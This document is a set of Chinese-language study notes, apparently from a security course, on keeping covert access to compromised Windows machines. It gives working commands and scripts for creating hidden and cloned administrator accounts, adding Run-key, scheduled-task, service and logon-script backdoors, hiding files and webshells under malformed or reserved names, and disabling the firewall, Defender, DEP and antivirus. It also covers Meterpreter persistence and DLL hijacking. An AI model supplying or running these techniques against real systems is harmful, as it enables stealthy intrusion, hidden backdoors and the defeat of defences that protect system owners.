windows权限维持大结局

  信息安全

1.     通过组策略运行指定脚本添加隐藏用户

在“开始菜单”->“运行”中输入gpedit.msc打开组策略编辑器,在左边导航栏中选择“计算机配置”->“windows设置”->“脚本(启动/关机)”,双击其右边的“启动”选项,打开“启动属性”窗口:

操作系统启动时自动运行该脚本,使用net user命令查看未发现hacker$用户,但通过net user hacker$查看该用户时发现它确实存在:

但在本地安全策略中可看到:

需通过在注册表中进行类似账号克隆的操作,分别将如下图所示的项分别导出为item1.reg和item2.reg:

在item1.reg中编辑F参数,通过复制Administrator在注册表中的F参数将该其覆盖后保存:

在cmd命令中执行“net user hacker$ /del”,然后双击item1.reg和item2.reg重新将hacker$用户写入到注册表中,此时在本地安全策略中已无hacker$用户,它只存留在注册表中:

用“net user hacker$”查看发现该用户存在:

2.     在注册表中添加启动自动运行后门

下图所示为注册表中启动自动运行的目标目录:

通过reg add

“HKEY_CURRENT_USER\software\microsoft\windows\CurrentVersion\Run” /vmyPersist /t reg_sz /d “C:\Users\Administrator\Desktop\persist.exe”

命令,可将启动自动运行的程序添加到注册表中的相应项:

3.     通过计划任务添加后门

添加计划任务,每隔1分钟执行一次:

4.     services.msc

Windows 权限维持

隐藏技巧

“真正”的隐藏文件

命令:Attrib +s +a +h +r [文件]

+s:系统

+h:隐藏

+r:只读

加上s属性后,文件会进一步被隐藏(打开查看隐藏文件都看不见),只有使用 dir -h(ls -h) 等才能看见。

当文件被加上s属性后,后续操作可能没有足够的权限取操作,需要先去掉s属性才能进行后续的操作。

改变系统文件夹图标

通过更改文件夹名称,能更改文件夹图标和双击打开的动作(命令行模式仍可以正常使用)。

但通过命令行模式仍能看见其后缀。

一些代号我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}回收站.{645ff040-5081-101b-9f08-00aa002f954e}拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48} 打印机.{2227a280-3aea-1069-a2de-08002b30309d} 控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d} ⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

畸形目录

只有使用cmd能成功,

powershell不行创建成功后图形界面不会显示,

但命令行能看见。某些操作不能对其作用,如 cd,dir等 ,但可以 copy 文件进去,或者直接查看文件

创建目录:md test….\

删除目录:rd /s /q test….\

利用系统保留的文件名创建无法删除的webshell

只有使用cmd能成功,powershell不行

保留文件名: aux com1 com2 prn con nul 等

图形化使用此类名创建文件将会报错

此类文件图形化看不见,命令行可以

但可以通过cmd创建,创建和删除时要用绝对路径

创建:md \\\\.\c:\com1\

删除: rd \\.\c:\com1\

创建与操作文件需要管理员权限,目录不需要

在创建是添加 \\.\ 前缀是为了便于访问,不然访问时会将目标当作一个IO设备处理。

驱动级隐藏文件

工具:Easy File Locker

下载链接:http://www.xoslab.com/efl.html

通过设置其属性,达到对应目的(隐藏后命令行也不可见,只有知道完整目录才能访问)改软件可以设置密码、自启动,可以删除主界面,卸载程序都可以,只留下核心驱动文件即可。

如何清除

1. 查询服务状态:sc qc xlkfs2. 停止服务:net stop xlkfs(停止后,文件便会显现出来,cmd能见)3. 删除服务:sc delete xlkfs4. 删除系统目录下的文件,重启系统,确认服务被清除。

关闭杀软

命令

需要管理员权限

关闭防火墙:netsh advfirewall set allprofiles state off

关闭Defender: Net stop windefend

关闭DEP(数据执行保护): bcdedit /set {current} nx alwaysoff

Meterpreter

直接运行 run killav

策略组(作业)

gpedit.msc -> 计算机配置 -> windows设置 -> 脚本

通过设置启动与关机时要运行的脚本,执行相关命令。(创建账户、嗅探密码、远程登录等)

# bat@echo offnet user hack$ 123qwe /addnet localgroup administrators hack$ /addexit

注册表(作业)

尽量使用 HKEY_LOCAL_MASHINE 而不是 HKEY_CURRNET_USER(没有的键值对需要自己去新建)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 添加键,键值为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 只会运行一HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServer 以服务HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServerOnce 只HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\001 (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\001\De同理的还有HKEY_CURRNET_USER树下的。

Meterpreter

1. Persistence后门

在 Meterpreter 中 Persistence 用于后渗透中的权限维持。通常是通过 cscript.exe 这个程序去执行,创建一个 VBS 脚本(msf和cs都是,对应的,cs是通过rundll32.exe去执行命令,而msf是通过其启动的后门文件。)

常用的参数有

-S 创建一个服务,随系统启动而启动(System权限)-U 用户登录时启动后门,就是向注册表HKCU树下写入自启动项-X 系统登录启动后门,向注册表HKLM树下写入启动项

关于创建的持续性后门,当这个后门启动的时候会周期性的连接目标,只要cscript.exe 这个进程没有结束。

SharPersist

计划任务(schtasks.exe)(作业)

schtasks.exe 用于在windows系统中指定任务计划,使其能在特定的事件日期执行程序和脚本。

SCHTASKS /parameter [arguments]描述: 允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任 务。参数列表: /Create 创建新计划任务。 /Delete 删除计划任务。 /Query 显示所有计划任务。 /Change 更改计划任务属性。 /Run 按需运行计划任务。 /End 中止当前正在运行的计划任务。 /ShowSid 显示与计划的任务名称相应的安全标识符。 /? 显示此帮助消息。

示例

schtasks /create /tn/tr <"程序路径和文件名"> /sc <什么时候运行 如 o

创建计划任务启动notepad(需要管理员权限)

对应的可以在 _Task Scheduler 查看

在svchost进程下成功创建了notepad进程

当使用指定账户创建运行计划任务时,当前用户必须具有与之相对或者更高的权限(使用管理员账户以ystem权限运行计划任务失败)

创建新服务(作业)

cmd使用 sc 对任务进行管理,powershell中使用 get-help service 查看对应的服务操作命令

创建

sccreate [service name] [binPath= ]...选项:注意: 选项名称包括等号。等号和值之间需要一个空格。type=(默认 = own)start=(默认 = demand)error=(默认 = normal)binPath= <.exe 文件的 BinaryPathName>group=tag=depend= <依存关系(以 / (斜杠)分隔)>obj=(默认= LocalSystem)DisplayName= <显示名称>password= <密码>

实例

创建服务:sc createbinpath= <"可执行二进制文件"> start= <"启动模式"> obj启动服务: sc start删除实例:sc delete

创建服务能成功,但是启动一直爆1053错误。

启动错误

内存马

劫持后门

MSDTC服务(没成功)MSDTC服务开启时默认会加载三个DLL: oci.dll、SQLLib80.dll、xa80.dll ,windows系统默认不包括 oci.dll ,将后门dll重命名并放置到 %SystemRoot%\system32\ 中,远程杀掉 MSDTC 服务,使其重启,加载恶意DLL.

镜像劫持

Logon Scripts

Logon Scripts比av先执行,利用这点可以绕过av

注册表路径:HKEY_CURRENT_USER\Environment键:UserInitMprLogonScript

值:恶意文件路径